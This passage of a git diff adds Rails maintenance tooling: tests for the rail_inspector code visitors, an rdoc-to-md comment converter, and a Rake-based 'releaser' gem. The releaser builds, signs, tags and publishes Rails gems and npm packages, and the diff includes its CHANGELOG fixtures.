+            " -frames:v 1 -f image2"
+        end
+      end
+    RUBY
+
+    assert_includes config, "7.0"
+    assert_equal(
+      "\"-vf 'select=eq(n\\,0)+eq(key\\,1)+gt(scene\\,0.015),loop=loop=-1:size=2,trim=start_frame=1' -frames:v 1 -f image2\"",
+      config["7.0"]["active_storage.video_preview_arguments"],
+    )
+  end
+
+  def test_inline_condition
+    config = config_for_defaults <<~RUBY
+      case target_version.to_s
+      when "8.0"
+        Regexp.timeout ||= 1 if Regexp.respond_to?(:timeout=)
+      end
+    RUBY
+
+    assert_includes config, "8.0"
+    assert_equal("1", config["8.0"]["Regexp.timeout"])
+  end
+
+  def test_post_release
+    config = config_for_defaults <<~RUBY
+      case target_version.to_s
+      when "8.1"
+        load_defaults "8.0"
+      end
+    RUBY
+
+    assert_includes config, "8.1"
+    assert_equal({}, config["8.1"])
+  end
+
+  private
+    def wrapped_defaults(defaults)
+      <<~RUBY
+      class Configuration
+        def load_defaults(target_version)
+          #{defaults}
+        end
+      end
+      RUBY
+    end
+
+    def config_for_defaults(defaults)
+      full_class = wrapped_defaults(defaults)
+      parsed = Prism.parse(full_class).value
+      visitor.visit(parsed)
+      visitor.config_map
+    end
+
+    def visitor
+      @visitor ||= RailInspector::Visitor::FrameworkDefault.new
+    end
+end
diff --git a/tools/rail_inspector/test/rail_inspector/visitor/hash_to_string_test.rb b/tools/rail_inspector/test/rail_inspector/visitor/hash_to_string_test.rb
new file mode 100644
index 0000000000000..01fb51340af14
--- /dev/null
+++ b/tools/rail_inspector/test/rail_inspector/visitor/hash_to_string_test.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "rail_inspector/visitor/hash_to_string"
+
+class HashToStringTest < Minitest::Test
+  def test_basic_hash_to_s
+    basic_hash = "{ a: 1 }"
+
+    assert_equal basic_hash, string_for(basic_hash)
+  end
+
+  def test_nested_hash_to_s
+    nested_hash = "{ hsts: { subdomains: true } }"
+
+    assert_equal nested_hash, string_for(nested_hash)
+  end
+
+  def test_string_keys_to_s
+    string_keys =
+      '{ "X-Frame-Options" => "SAMEORIGIN", "X-XSS-Protection" => "0", "X-Content-Type-Options" => "nosniff", "X-Permitted-Cross-Domain-Policies" => "none", "Referrer-Policy" => "strict-origin-when-cross-origin" }'
+
+    assert_equal string_keys, string_for(string_keys)
+  end
+
+  private
+    def string_for(hash_as_string)
+      ast = Prism.parse(hash_as_string).value
+      visitor = RailInspector::Visitor::HashToString.new
+      visitor.visit(ast)
+      visitor.to_s
+    end
+end
diff --git a/tools/rail_inspector/test/rail_inspector/visitor/load_test.rb b/tools/rail_inspector/test/rail_inspector/visitor/load_test.rb
new file mode 100644
index 0000000000000..0cc35fd015428
--- /dev/null
+++ b/tools/rail_inspector/test/rail_inspector/visitor/load_test.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "rail_inspector/visitor/load"
+
+class LoadTest < Minitest::Test
+  def test_finds_requires_and_autoloads
+    source = <<~FILE
+    require "a"
+    require "b"
+
+    module D
+      require "k"
+
+      autoload :L
+      autoload :M, "n/o"
+
+      class E::F
+        require "p/q"
+
+        autoload :G
+        autoload :H, "i/j"
+      end
+    end
+    FILE
+
+    loads = { requires: [], autoloads: [] }
+
+    visitor = RailInspector::Visitor::Load.new { loads }
+    Prism.parse(source).value.accept(visitor)
+
+    assert_equal ["a", "b", "k", "p/q"], loads[:requires]
+    assert_equal ["d/l", "n/o", "d/e/f/g", "i/j"], loads[:autoloads]
+  end
+end
diff --git a/tools/rail_inspector/test/test_helper.rb b/tools/rail_inspector/test/test_helper.rb
new file mode 100644
index 0000000000000..99802150486de
--- /dev/null
+++ b/tools/rail_inspector/test/test_helper.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+require "active_support"
+require "minitest/autorun"
diff --git a/tools/rail_inspector/test/test_helpers/changelog_fixtures.rb b/tools/rail_inspector/test/test_helpers/changelog_fixtures.rb
new file mode 100644
index 0000000000000..5c93c670dd5d6
--- /dev/null
+++ b/tools/rail_inspector/test/test_helpers/changelog_fixtures.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require "pathname"
+require "rail_inspector/changelog"
+
+module ChangelogFixtures
+  def changelog_fixture(name)
+    path = Pathname.new(File.expand_path("../fixtures/#{name}", __dir__))
+
+    raise ArgumentError, "#{name} fixture not found" unless path.exist?
+
+    RailInspector::Changelog.new(path, path.read)
+  end
+end
diff --git a/tools/railspect b/tools/railspect
new file mode 100755
index 0000000000000..99b6f7e216597
--- /dev/null
+++ b/tools/railspect
@@ -0,0 +1,7 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require "bundler/setup"
+require_relative "rail_inspector/lib/rail_inspector/cli"
+
+RailInspector::Cli.start
diff --git a/tools/rdoc-to-md b/tools/rdoc-to-md
new file mode 100755
index 0000000000000..3c74ff95b0262
--- /dev/null
+++ b/tools/rdoc-to-md
@@ -0,0 +1,214 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require "optparse"
+require "pathname"
+require "strscan"
+
+require "rdoc"
+require "prism"
+
+OPTIONS = {}
+
+OptionParser
+  .new do |opts|
+    opts.banner = "Usage: rdoc-to-md RAILS_ROOT [options]"
+
+    opts.on("-a", "Apply changes")
+    opts.on("--only=FOLDERS", Array)
+  end
+  .parse!(into: OPTIONS)
+
+RAILS_PATH = File.expand_path("..", __dir__)
+
+folders = Dir["#{RAILS_PATH}/*/*.gemspec"].map { |p| Pathname.new(p).dirname }
+
+unless OPTIONS[:only].nil?
+  folders.filter! { |path| OPTIONS[:only].include?(File.basename(path)) }
+end
+
+class Comment
+  class << self
+    def from(comment_nodes)
+      comments_source_lines = source_lines_for(comment_nodes)
+
+      if comments_source_lines.first == "##"
+        MetaComment
+      else
+        Comment
+      end.new(comments_source_lines)
+    end
+
+    private
+      def source_lines_for(comment_nodes)
+        comment_nodes.map { _1.location.slice }
+      end
+  end
+
+  def initialize(source_lines)
+    @source_lines = source_lines
+
+    strip_hash_prefix!
+  end
+
+  def write!(out, indentation)
+    as_markdown.each_line do |new_markdown_line|
+      out << commented(new_markdown_line, indentation).rstrip << "\n"
+    end
+  end
+
+  private
+    attr_reader :source_lines
+
+    def strip_hash_prefix!
+      source_lines.each { |line|
+        line.delete_prefix!("#")
+        line.delete_prefix!(" ")
+      }
+    end
+
+    def commented(markdown, indentation)
+      (" " * indentation) + "# " + markdown
+    end
+
+    def as_markdown
+      converter.convert(source_lines.join("\n"))
+    end
+
+    def converter
+      RDoc::Markup::ToMarkdown.new
+    end
+end
+
+class MetaComment < Comment
+  def write!(out, indentation)
+    spaces = " " * indentation
+
+    out << spaces << "##\n"                                # ##
+    out << commented(source_lines[1], indentation) << "\n" # # :method: ...
+
+    super
+  end
+
+  private
+    def as_markdown
+      converter.convert(content_after_directive)
+    end
+
+    def content_after_directive
+      source_lines[2..].join("\n")
+    end
+end
+
+class CommentVisitor < Prism::BasicVisitor
+  attr_reader :new_comments, :old_comment_lines
+
+  def initialize
+    # starting line => full block comment
+    @new_comments = {}
+    @old_comment_lines = Set.new
+  end
+
+  def method_missing(_, node)
+    comments = node.location.comments
+    process(comments) if process?(comments)
+
+    visit_child_nodes(node)
+  end
+
+  private
+    def process?(comments)
+      return false if comments.empty?
+
+      if comments.any?(&:trailing?)
+        return false if comments.all?(&:trailing?)
+
+        raise "only some comments are trailing?"
+      end
+
+      true
+    end
+
+    def process(comments)
+      old_comment_range = line_range_for(comments)
+      old_comment_range.each { @old_comment_lines << _1 }
+
+      @new_comments[old_comment_range.begin] = Comment.from(comments)
+    end
+
+    def line_range_for(comments)
+      comments.first.location.start_line..comments.last.location.start_line
+    end
+end
+
+class CodeBlockConverter
+  def initialize(file_path)
+    @file_path = file_path
+
+    @parse_result = Prism.parse_file(@file_path)
+    @parse_result.attach_comments!
+
+    @cv = CommentVisitor.new
+    @source = @parse_result.source.source
+
+    @parse_result.value.accept(@cv)
+  end
+
+  def convert!
+    new_source = output
+
+    if @source.include?(MD_DIRECTIVE) || new_source == @source
+      $stdout.write "."
+    else
+      File.write(@file_path, output)
+      $stdout.write "C"
+    end
+  end
+
+  def print
+    if output != @source
+      $stdout.write "C"
+    else
+      $stdout.write "."
+    end
+  end
+
+  private
+    MD_DIRECTIVE = "# :markup: markdown"
+
+    def output
+      out = +""
+
+      @source.each_line.with_index do |old_line, i|
+        line_number = i + 1
+
+        out << "\n" << MD_DIRECTIVE << "\n" if line_number == 2
+
+        if @cv.old_comment_lines.include?(line_number)
+          if new_comment = @cv.new_comments[line_number]
+            indentation = old_line.index("#")
+
+            new_comment.write!(out, indentation)
+          end
+        else
+          out << old_line
+        end
+      end
+
+      out
+    end
+end
+
+folders.each do |folder|
+  ruby_files = Dir["#{folder}/{app,lib}/**/*.rb"]
+
+  ruby_files.each do |file_path|
+    converter = CodeBlockConverter.new(file_path)
+
+    if OPTIONS[:a]
+      converter.convert!
+    else
+      converter.print
+    end
+  end
+end
diff --git a/tools/releaser/Gemfile b/tools/releaser/Gemfile
new file mode 100644
index 0000000000000..a038a2c74b740
--- /dev/null
+++ b/tools/releaser/Gemfile
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+source "https://rubygems.org"
+gemspec
+
+gem "sigstore-cli"
diff --git a/tools/releaser/Gemfile.lock b/tools/releaser/Gemfile.lock
new file mode 100644
index 0000000000000..923dcd0d82621
--- /dev/null
+++ b/tools/releaser/Gemfile.lock
@@ -0,0 +1,46 @@
+PATH
+  remote: .
+  specs:
+    releaser (1.0.0)
+      minitest
+      rake (~> 13.0)
+
+GEM
+  remote: https://rubygems.org/
+  specs:
+    logger (1.7.0)
+    minitest (5.25.1)
+    net-http (0.6.0)
+      uri
+    protobug (0.1.0)
+    protobug_googleapis_field_behavior_protos (0.1.0)
+      protobug (= 0.1.0)
+      protobug_well_known_protos (= 0.1.0)
+    protobug_sigstore_protos (0.1.0)
+      protobug (= 0.1.0)
+      protobug_googleapis_field_behavior_protos (= 0.1.0)
+      protobug_well_known_protos (= 0.1.0)
+    protobug_well_known_protos (0.1.0)
+      protobug (= 0.1.0)
+    rake (13.2.1)
+    sigstore (0.2.2)
+      logger
+      net-http
+      protobug_sigstore_protos (~> 0.1.0)
+      uri
+    sigstore-cli (0.2.2)
+      sigstore (= 0.2.2)
+      thor
+    thor (1.4.0)
+    uri (1.0.4)
+
+PLATFORMS
+  aarch64-linux
+  ruby
+
+DEPENDENCIES
+  releaser!
+  sigstore-cli
+
+BUNDLED WITH
+   2.6.3
diff --git a/tools/releaser/README.md b/tools/releaser/README.md
new file mode 100644
index 0000000000000..3a22115fb9aa7
--- /dev/null
+++ b/tools/releaser/README.md
@@ -0,0 +1,3 @@
+# Releaser
+
+Collection of helpers to release Rails.
diff --git a/tools/releaser/Rakefile b/tools/releaser/Rakefile
new file mode 100644
index 0000000000000..ddaa5be39f82a
--- /dev/null
+++ b/tools/releaser/Rakefile
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require "minitest/test_task"
+
+Minitest::TestTask.create
+
+task default: :test
+
+require "releaser"
+
+root    = File.expand_path("../..", __dir__)
+version = File.read("#{root}/RAILS_VERSION").strip
+Releaser.new(root, version)
diff --git a/tools/releaser/bin/test b/tools/releaser/bin/test
new file mode 100755
index 0000000000000..0e3a343d309c3
--- /dev/null
+++ b/tools/releaser/bin/test
@@ -0,0 +1,5 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+COMPONENT_ROOT = File.expand_path("..", __dir__)
+require_relative "../../test"
diff --git a/tools/releaser/lib/releaser.rb b/tools/releaser/lib/releaser.rb
new file mode 100644
index 0000000000000..c583ee0ef0747
--- /dev/null
+++ b/tools/releaser/lib/releaser.rb
@@ -0,0 +1,341 @@
+# frozen_string_literal: true
+
+require "json"
+require "digest"
+require "rake/tasklib"
+
+class Releaser < Rake::TaskLib
+  # Order dependent. E.g. Action Mailbox depends on Active Record so it should be after.
+  FRAMEWORKS = %w(
+    activesupport
+    activemodel
+    activerecord
+    actionview
+    actionpack
+    activejob
+    actionmailer
+    actioncable
+    activestorage
+    actionmailbox
+    actiontext
+    railties
+  )
+
+  attr_reader :root, :version, :tag, :major, :minor, :tiny, :pre
+
+  def initialize(root, version)
+    @root = Pathname.new(root)
+    @version = version
+    @tag = "v#{version}"
+    @major, @minor, @tiny, @pre = @version.split(".", 4)
+    define
+  end
+
+  def define
+    directory "#{root}/pkg"
+
+    (FRAMEWORKS + ["rails"]).each do |framework|
+      namespace framework do
+        task :clean do
+          Dir.chdir(root) do
+            rm_f gem_path(framework)
+          end
+        end
+
+        task :update_versions do
+          update_versions(framework)
+        end
+
+        task gem_path(framework) => [:update_versions, "#{root}/pkg"] do
+          dir = if framework == "rails"
+            root
+          else
+            root + framework
+          end
+
+          Dir.chdir(dir) do
+            sh "gem build #{gemspec(framework)} && mv #{gem_file(framework)} #{root}/pkg/"
+          end
+        end
+
+        task build: [:clean, gem_path(framework)]
+        task install: :build do
+          Dir.chdir(root) do
+            sh "gem install --pre #{gem_path(framework)}"
+          end
+        end
+
+        task push: :build do
+          Dir.chdir(root) do
+            sh "gem push #{gem_path(framework)}#{gem_otp(gem_path(framework))}"
+
+            if File.exist?("#{framework}/package.json")
+              Dir.chdir("#{framework}") do
+                sh "npm publish --tag #{npm_tag}#{npm_otp}"
+              end
+            end
+          end
+        end
+      end
+    end
+
+    desc "Install gems for all projects."
+    task install: FRAMEWORKS.map { |f| "#{f}:install" } + ["rails:install"]
+
+    task :ensure_clean_state do
+      if tree_dirty?
+        abort "[ABORTING] `git status` reports a dirty tree. Make sure all changes are committed"
+      end
+
+      unless ENV["SKIP_TAG"] || inexistent_tag?
+        abort "[ABORTING] `git tag` shows that #{tag} already exists. Has this version already\n"\
+              "           been released? Git tagging can be skipped by setting SKIP_TAG=1"
+      end
+    end
+
+    namespace :changelog do
+      task :header do
+        require "date"
+
+        (FRAMEWORKS + ["guides"]).each do |fw|
+          fname = File.join root, fw, "CHANGELOG.md"
+          current_contents = File.read(fname)
+
+          header = "## Rails #{version} (#{Date.today.strftime('%B %d, %Y')}) ##\n\n"
+          header += "*   No changes.\n\n\n" if current_contents.start_with?("##")
+          contents = header + current_contents
+          File.write(fname, contents)
+        end
+      end
+    end
+
+    desc "Update version of the frameworks"
+    task update_versions: FRAMEWORKS.map { |f| "#{f}:update_versions" } + ["rails:update_versions"]
+
+    desc "Build gem files for all projects"
+    task build: FRAMEWORKS.map { |f| "#{f}:build" } + ["rails:build"]
+
+    task checksums: :build do
+      Dir.chdir(root) do
+        puts
+        [*FRAMEWORKS, "rails"].each do |fw|
+          path = gem_path(fw)
+          sha = ::Digest::SHA256.file(path)
+          puts "#{sha}  #{path}"
+        end
+        puts
+      end
+    end
+
+    task :bundle do
+      sh "bundle check"
+    end
+
+    desc "Prepare the release"
+    task prep_release: %w(ensure_clean_state changelog:header build bundle)
+
+    task :check_gh_client do
+      sh "gh auth status" do |ok, res|
+        unless ok
+          raise "GitHub CLI is not logged in. Please run `gh auth login` to log in."
+        end
+      end
+      default_repo = `git config --local --get-regexp '\.gh-resolved$'`.strip
+      if !$?.success? || default_repo.empty?
+        raise "GitHub CLI does not have a default repo configured. Please run `gh repo set-default rails/rails`"
+      end
+    end
+
+    task :commit do
+      Dir.chdir(root) do
+        unless `git status -s`.strip.empty?
+          File.open("pkg/commit_message.txt", "w") do |f|
+            f.puts "# Preparing for #{version} release\n"
+            f.puts
+            f.puts "# UNCOMMENT THE LINE ABOVE TO APPROVE THIS COMMIT"
+          end
+
+          sh "git add . && git commit --verbose --template=pkg/commit_message.txt"
+          rm_f "pkg/commit_message.txt"
+        end
+      end
+    end
+
+    task :tag do
+      sh "git push"
+      sh "git tag -s -m '#{tag} release' #{tag}"
+      sh "git push --tags"
+    end
+
+    desc "Create GitHub release"
+    task create_release: :check_gh_client do
+      Dir.chdir(root) do
+        File.write("pkg/#{version}.md", release_notes)
+
+        sh "gh release create --verify-tag #{tag} -t #{version} -F pkg/#{version}.md --draft#{pre_release? ? " --prerelease" : ""}"
+      end
+    end
+
+    desc "Release all gems and create a tag"
+    task release: %w(check_gh_client prep_release commit tag create_release)
+
+    task pre_push: [:build, :checksums]
+
+    desc "Push the gem to rubygems.org and the npm package to npmjs.com"
+    task push: [:pre_push] + FRAMEWORKS.map { |f| "#{f}:push" } + ["rails:push"]
+  end
+
+  def pre_release?
+    @pre_release ||= pre && pre.match?(/rc|beta|alpha/)
+  end
+
+  def npm_tag
+    pre_release? ? "pre" : "latest"
+  end
+
+  # This "npm-ifies" the current version number
+  # With npm, versions such as "5.0.0.rc1" or "5.0.0.beta1.1" are not compliant with its
+  # versioning system, so they must be transformed to "5.0.0-rc1" and "5.0.0-beta1-1" respectively.
+  # "5.0.0"     --> "5.0.0"
+  # "5.0.1"     --> "5.0.100"
+  # "5.0.0.1"   --> "5.0.1"
+  # "5.0.1.1"   --> "5.0.101"
+  # "5.0.0.rc1" --> "5.0.0-rc1"
+  # "5.0.0.beta1.1" --> "5.0.0-beta1-1"
+  def npm_version
+    @npm_version ||= begin
+      if pre_release?
+        pre_release = pre.tr(".", "-")
+        npm_pre = 0
+      else
+        npm_pre = pre.to_i
+        pre_release = nil
+      end
+
+      "#{major}.#{minor}.#{(tiny.to_i * 100) + npm_pre}#{pre_release ? "-#{pre_release}" : ""}"
+    end
+  end
+
+  def gem_path(framework)
+    "pkg/#{gem_file(framework)}"
+  end
+
+  def gem_file(framework)
+    "#{framework}-#{version}.gem"
+  end
+
+  def gemspec(framework)
+    "#{framework}.gemspec"
+  end
+
+  def update_versions(framework)
+    return if framework == "rails"
+
+    Dir.chdir(root) do
+      glob = "#{framework}/lib/*/gem_version.rb"
+
+      file = Dir[glob].first
+      ruby = File.read(file)
+
+      ruby.gsub!(/^(\s*)MAJOR(\s*)= .*?$/, "\\1MAJOR = #{major}")
+      raise "Could not insert MAJOR in #{file}" unless $1
+
+      ruby.gsub!(/^(\s*)MINOR(\s*)= .*?$/, "\\1MINOR = #{minor}")
+      raise "Could not insert MINOR in #{file}" unless $1
+
+      ruby.gsub!(/^(\s*)TINY(\s*)= .*?$/, "\\1TINY  = #{tiny}")
+      raise "Could not insert TINY in #{file}" unless $1
+
+      ruby.gsub!(/^(\s*)PRE(\s*)= .*?$/, "\\1PRE   = #{pre.inspect}")
+      raise "Could not insert PRE in #{file}" unless $1
+
+      File.open(file, "w") { |f| f.write ruby }
+
+      package_json = "#{framework}/package.json"
+
+      if File.exist?(package_json) && JSON.parse(File.read(package_json))["version"] != npm_version
+        Dir.chdir("#{framework}") do
+          if sh("which npm > /dev/null 2>&1", verbose: false)
+            sh "npm version #{npm_version} --no-git-tag-version > /dev/null 2>&1", verbose: false
+          else
+            raise "You must have npm installed to release Rails."
+          end
+        end
+      end
+    end
+  end
+
+  def release_notes
+    release_notes = +""
+
+    (FRAMEWORKS + ["guides"]).each do |framework|
+      release_notes << "## #{framework_name(framework)}\n"
+      file_name = File.join root, framework, "CHANGELOG.md"
+      contents = File.readlines file_name
+      contents.shift # Remove the header
+      changes = []
+
+      until end_of_notes?(contents) || contents.empty?
+        changes << contents.shift
+      end
+
+      release_notes << changes.join
+    end
+
+    release_notes
+  end
+
+  def framework_name(framework)
+    framework.split(/(?<=active|action)/).map(&:capitalize).join(" ")
+  end
+
+  private
+    FILES_TO_IGNORE = %w(
+      RAILS_VERSION
+      CHANGELOG
+      Gemfile.lock
+      package.json
+      gem_version.rb
+      tasks/release.rb
+      releaser.rb
+      yarn.lock
+    )
+    def tree_dirty?
+      !`git status -s | grep -v '#{FILES_TO_IGNORE.join("\\|")}'`.strip.empty?
+    end
+
+    def inexistent_tag?
+      `git tag | grep '^#{tag}$'`.strip.empty?
+    end
+
+    def npm_otp
+      " --otp " + ykman("npmjs.com")
+    rescue
+      " --access public"
+    end
+
+    def gem_otp(gem_path)
+      " --otp " + ykman("rubygems.org")
+    rescue
+      attestation(gem_path)
+    end
+
+    def attestation(gem_path)
+      sh "sigstore-cli sign #{gem_path} --bundle #{gem_path}.sigstore.json"
+      " --attestation #{gem_path}.sigstore.json"
+    rescue
+      ""
+    end
+
+    def ykman(service)
+      `ykman oath accounts code -s #{service}`.chomp
+    end
+
+    def end_of_notes?(contents)
+      line = contents.first
+
+      line =~ /^## Rails \d+\.\d+\.\d+.*$/ ||
+        line =~ /^Please check.*for previous changes\.$/ ||
+        contents.empty?
+    end
+end
diff --git a/tools/releaser/releaser.gemspec b/tools/releaser/releaser.gemspec
new file mode 100644
index 0000000000000..61efd428bff6c
--- /dev/null
+++ b/tools/releaser/releaser.gemspec
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+Gem::Specification.new do |s|
+  s.platform    = Gem::Platform::RUBY
+  s.name        = "releaser"
+  s.version     = "1.0.0"
+  s.summary     = "Library to release Rails"
+  s.description = "A set of tasks to release Rails"
+
+  s.required_ruby_version = ">= 3.2.0"
+
+  s.license = "MIT"
+
+  s.author   = "Rafael Mendonça França"
+  s.email    = "rafael@rubyonrails.org"
+  s.homepage = "https://rubyonrails.org"
+
+  s.files = Dir["lib/**/*", "test/**/*", "RAILS_VERSION"]
+
+  s.metadata = {
+    "bug_tracker_uri" => "https://github.com/rails/rails/issues",
+  }
+
+  s.add_dependency "rake", "~> 13.0"
+  s.add_dependency "minitest"
+end
diff --git a/tools/releaser/test/fixtures/actioncable/CHANGELOG.md b/tools/releaser/test/fixtures/actioncable/CHANGELOG.md
new file mode 100644
index 0000000000000..6b943523b0db6
--- /dev/null
+++ b/tools/releaser/test/fixtures/actioncable/CHANGELOG.md
@@ -0,0 +1,10 @@
+## Rails 5.0.0 (September 25, 2016) ##
+
+*  Changes in Active Cable
+
+
+## Rails 5.0.0.beta3 (August 11, 2016) ##
+
+*  No changes.
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/actioncable/CHANGELOG.md) for previous changes.
diff --git a/tools/releaser/test/fixtures/actionmailbox/CHANGELOG.md b/tools/releaser/test/fixtures/actionmailbox/CHANGELOG.md
new file mode 100644
index 0000000000000..1086a38e4a226
--- /dev/null
+++ b/tools/releaser/test/fixtures/actionmailbox/CHANGELOG.md
@@ -0,0 +1,10 @@
+## Rails 5.0.0 (September 25, 2016) ##
+
+*  Changes in Action Mailbox
+
+
+## Rails 5.0.0.beta3 (August 11, 2016) ##
+
+*  No changes.
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/actionmailbox/CHANGELOG.md) for previous changes.
diff --git a/tools/releaser/test/fixtures/actionmailer/CHANGELOG.md b/tools/releaser/test/fixtures/actionmailer/CHANGELOG.md
new file mode 100644
index 0000000000000..265545c4b3386
--- /dev/null
+++ b/tools/releaser/test/fixtures/actionmailer/CHANGELOG.md
@@ -0,0 +1,10 @@
+## Rails 5.0.0 (September 25, 2016) ##
+
+*  Changes in Action Mailer
+
+
+## Rails 5.0.0.beta3 (August 11, 2016) ##
+
+*  No changes.
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/actionmailer/CHANGELOG.md) for previous changes.
diff --git a/tools/releaser/test/fixtures/actionpack/CHANGELOG.md b/tools/releaser/test/fixtures/actionpack/CHANGELOG.md
new file mode 100644
index 0000000000000..bb118338163f4
--- /dev/null
+++ b/tools/releaser/test/fixtures/actionpack/CHANGELOG.md
@@ -0,0 +1,10 @@
+## Rails 5.0.0 (September 25, 2016) ##
+
+*  Changes in Action Pack
+
+
+## Rails 5.0.0.beta3 (August 11, 2016) ##
+
+*  No changes.
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/actionpack/CHANGELOG.md) for previous changes.
diff --git a/tools/releaser/test/fixtures/actiontext/CHANGELOG.md b/tools/releaser/test/fixtures/actiontext/CHANGELOG.md
new file mode 100644
index 0000000000000..23cf564818812
--- /dev/null
+++ b/tools/releaser/test/fixtures/actiontext/CHANGELOG.md
@@ -0,0 +1,10 @@
+## Rails 5.0.0 (September 25, 2016) ##
+
+*  Changes in Action Text
+
+
+## Rails 5.0.0.beta3 (August 11, 2016) ##
+
+*  No changes.
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/actiontext/CHANGELOG.md) for previous changes.
diff --git a/tools/releaser/test/fixtures/actionview/CHANGELOG.md b/tools/releaser/test/fixtures/actionview/CHANGELOG.md
new file mode 100644
index 0000000000000..c1c48f482ee14
--- /dev/null
+++ b/tools/releaser/test/fixtures/actionview/CHANGELOG.md
@@ -0,0 +1,10 @@
+## Rails 5.0.0 (September 25, 2016) ##
+
+*  Changes in Action View
+
+
+## Rails 5.0.0.beta3 (August 11, 2016) ##
+
+*  No changes.
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/actionview/CHANGELOG.md) for previous changes.
diff --git a/tools/releaser/test/fixtures/activejob/CHANGELOG.md b/tools/releaser/test/fixtures/activejob/CHANGELOG.md
new file mode 100644
index 0000000000000..643bf4db62f09
--- /dev/null
+++ b/tools/releaser/test/fixtures/activejob/CHANGELOG.md
@@ -0,0 +1,10 @@
+## Rails 5.0.0 (September 25, 2016) ##
+
+*  Changes in Active Job
+
+
+## Rails 5.0.0.beta3 (August 11, 2016) ##
+
+*  No changes.
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activejob/CHANGELOG.md) for previous changes.
diff --git a/tools/releaser/test/fixtures/activemodel/CHANGELOG.md b/tools/releaser/test/fixtures/activemodel/CHANGELOG.md
new file mode 100644
index 0000000000000..f960bbcc8167d
--- /dev/null
+++ b/tools/releaser/test/fixtures/activemodel/CHANGELOG.md
@@ -0,0 +1,10 @@
+## Rails 5.0.0 (September 25, 2016) ##
+
+*  Changes in Active Model
+
+
+## Rails 5.0.0.beta3 (August 11, 2016) ##
+
+*  No changes.
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activemodel/CHANGELOG.md) for previous changes.
diff --git a/tools/releaser/test/fixtures/activerecord/CHANGELOG.md b/tools/releaser/test/fixtures/activerecord/CHANGELOG.md
new file mode 100644
index 0000000000000..20f925d2f335e
--- /dev/null
+++ b/tools/releaser/test/fixtures/activerecord/CHANGELOG.md
@@ -0,0 +1,10 @@
+## Rails 5.0.0 (September 25, 2016) ##
+
+*  Changes in Active Record
+
+
+## Rails 5.0.0.beta3 (August 11, 2016) ##
+
+*  No changes.
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activerecord/CHANGELOG.md) for previous changes.
diff --git a/tools/releaser/test/fixtures/activestorage/CHANGELOG.md b/tools/releaser/test/fixtures/activestorage/CHANGELOG.md
new file mode 100644
index 0000000000000..29e19271bf4be
--- /dev/null
+++ b/tools/releaser/test/fixtures/activestorage/CHANGELOG.md
@@ -0,0 +1,10 @@
+## Rails 5.0.0 (September 25, 2016) ##
+
+*  Change in Active Storage
+
+
+## Rails 5.0.0.beta3 (August 11, 2016) ##
+
+*  No changes.
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activestorage/CHANGELOG.md) for previous changes.
diff --git a/tools/releaser/test/fixtures/activestorage/lib/active_storage/gem_version.rb b/tools/releaser/test/fixtures/activestorage/lib/active_storage/gem_version.rb
new file mode 100644
index 0000000000000..50f2af9f27d6c
--- /dev/null
+++ b/tools/releaser/test/fixtures/activestorage/lib/active_storage/gem_version.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  # Returns the currently loaded version of \Rails as a +Gem::Version+.
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 1
+    MINOR = 0
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/tools/releaser/test/fixtures/activestorage/package.json b/tools/releaser/test/fixtures/activestorage/package.json
new file mode 100644
index 0000000000000..228201cc42320
--- /dev/null
+++ b/tools/releaser/test/fixtures/activestorage/package.json
@@ -0,0 +1,38 @@
+{
+  "name": "@rails/activestorage",
+  "version": "1.0.0-alpha",
+  "description": "Attach cloud and local files in Rails applications",
+  "module": "app/assets/javascripts/activestorage.esm.js",
+  "main": "app/assets/javascripts/activestorage.js",
+  "files": [
+    "app/assets/javascripts/*.js",
+    "src/*.js"
+  ],
+  "homepage": "https://rubyonrails.org/",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/rails/rails.git"
+  },
+  "bugs": {
+    "url": "https://github.com/rails/rails/issues"
+  },
+  "author": "Javan Makhmali <javan@javan.us>",
+  "license": "MIT",
+  "dependencies": {
+    "spark-md5": "^3.0.1"
+  },
+  "devDependencies": {
+    "@rollup/plugin-node-resolve": "^11.0.1",
+    "@rollup/plugin-commonjs": "^19.0.1",
+    "eslint": "^8.40.0",
+    "eslint-plugin-import": "^2.29.0",
+    "rollup": "^2.35.1",
+    "rollup-plugin-terser": "^7.0.2"
+  },
+  "scripts": {
+    "prebuild": "yarn lint",
+    "build": "rollup --config rollup.config.js",
+    "lint": "eslint app/javascript",
+    "prepublishOnly": "rm -rf src && cp -R app/javascript/activestorage src"
+  }
+}
diff --git a/tools/releaser/test/fixtures/activesupport/CHANGELOG.md b/tools/releaser/test/fixtures/activesupport/CHANGELOG.md
new file mode 100644
index 0000000000000..5b8511c37105d
--- /dev/null
+++ b/tools/releaser/test/fixtures/activesupport/CHANGELOG.md
@@ -0,0 +1,10 @@
+## Rails 5.0.0 (September 25, 2016) ##
+
+*  Change in Active Support
+
+
+## Rails 5.0.0.beta3 (August 11, 2016) ##
+
+*  No changes.
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activesupport/CHANGELOG.md) for previous changes.
